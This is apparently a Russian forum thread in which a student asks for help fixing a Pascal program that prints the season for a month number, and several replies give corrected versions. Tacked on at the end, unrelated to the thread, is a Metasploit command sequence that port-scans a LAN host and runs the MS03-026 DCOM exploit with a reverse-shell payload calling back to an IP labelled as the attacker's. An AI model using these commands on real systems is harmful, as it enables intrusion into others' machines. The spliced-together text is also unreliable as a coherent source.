Помогите исправить программу паскале(ввести номер месяца и вывести название времени года)

program dz2;
uses crt;
var x: integer;
begin
write ('введите номер месяца');
read (x);
if (x>=3) and (x<=5) then
write ('весна');
if (x>=6) and (x<8) then
write ('лето');
if (x>=9) and (x<=11) then
write ('осень');
if (x=12) or (x<=2) then
write ('зима');
end.

двоечник!!!

Если без защиты от дурака (т. е. предполагается что вводятся числа именно от 1 до 12 и никакие другие) , то можно короче:

program dz2;
var x: integer;
begin
write ('Введите номер месяца: ');
read (x);
case x div 3 of
0, 4: writeln('Зима');
1: writeln('Весна');
2: writeln('Лето');
3: writeln('Осень');
end;
end.

else begin
if (x=12) or (x<=2)
then write ('зима');
end.

Я, конечно, понимаю, что уже поздно что-либо писать, но всё же, если будет введен 0, то программа будет работать неверно и покажет, что это зима

program sezon2;
var x: byte;
begin
write ('Введите номер месяца: ');
read (x);
case x of
1: write('Зима');
2: write('Зима');
3: write('Весна');
4: write('Весна');
5: write('Весна');
6: write('Лето');
7: write('Лето');
8: write('Лето');
9: write('Осень');
10: write('Осень');
11: write('Осень');
12: write('Зима')
else write ('ошибка')
end;
writeln
end.

Тут без ошибок
var x: integer;
begin
write ('введите номер месяца');
read (x);
if (x>=3) and (x<=5) then
write ('весна');
if (x>=6) and (x<=8) then
write ('лето');
if (x>=9) and (x<=11) then
write ('осень');
if (x=12) or (x<=2) and (x>0) then
write ('зима');
end.

pkg update
pkg install unstable-repo
pkg install metasploit
msfconsole
db_status
git init
use auxiliary/scanner/portscan/tcp
set PORTS 1-5000
set RHOSTS 192.168.88.161
run
search dcom
use exploit/windows/dcerpc/ms03_026_dcom
set payload windows/shell_reverse_tcp
show options
set RHOSTS 192.168.88.161 (IP той машины, которую будем проверять на защищенность)
set LHOST 192.168.88.247 - IP злоумышленника
run
cd ..\..\
echo Hello! (кнопка стрелки на Ю) achtung.